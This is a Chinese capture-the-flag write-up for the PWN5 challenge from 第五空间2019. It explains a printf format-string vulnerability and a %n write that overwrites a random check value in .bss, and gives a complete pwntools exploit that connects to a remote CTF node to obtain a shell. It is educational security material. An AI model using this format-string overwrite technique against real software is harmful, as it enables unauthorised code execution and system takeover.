[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5

使用checksec查看:
[第五空间2019 决赛]PWN5_第1张图片
开启了Canary和栈不可执行。

放进IDA中分析:
[第五空间2019 决赛]PWN5_第2张图片

  • printf(&buf);:存在格式化字符串漏洞。
  • if ( atoi(&nptr) == unk_804C044 ) { puts("ok!!"); system("/bin/sh"); }:用户第二次输入的字符串和unk_804C044中的相同就可以拿到权限。
  • fd = open("/dev/urandom", 0); read(fd, &unk_804C044, 4u);unk_804C044中的数据是随机的,存在bss段上。

题目思路

  • 存在字符串格式化漏洞。
  • 可以通过字符串格式化漏洞将unk_804C044中的数据固定。
  • 第二次输入固定的值就可以getshell。

步骤解析

首先要确定偏移位

[第五空间2019 决赛]PWN5_第3张图片

可以确定偏移为10。

接着就构造payload:b"M%10$n" + p64(0x804C044)

也可以通过fmtstr_payload()函数。

第二次输入1就能够getshell

[第五空间2019 决赛]PWN5_第4张图片

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",28121)
# r = process("../buu/[第五空间2019 决赛]PWN5")

#params

#attack
payload = b"M%10$n" + p64(0x804C044)
# payload = fmtstr_payload(10,{0x804C044:0x1})
r.recvuntil('name:')
r.sendline(payload)
r.recvuntil('passwd:')
r.sendline("1")

r.interactive()

你可能感兴趣的:(BUU-WP,pwn,python,wp,网络安全,信息安全)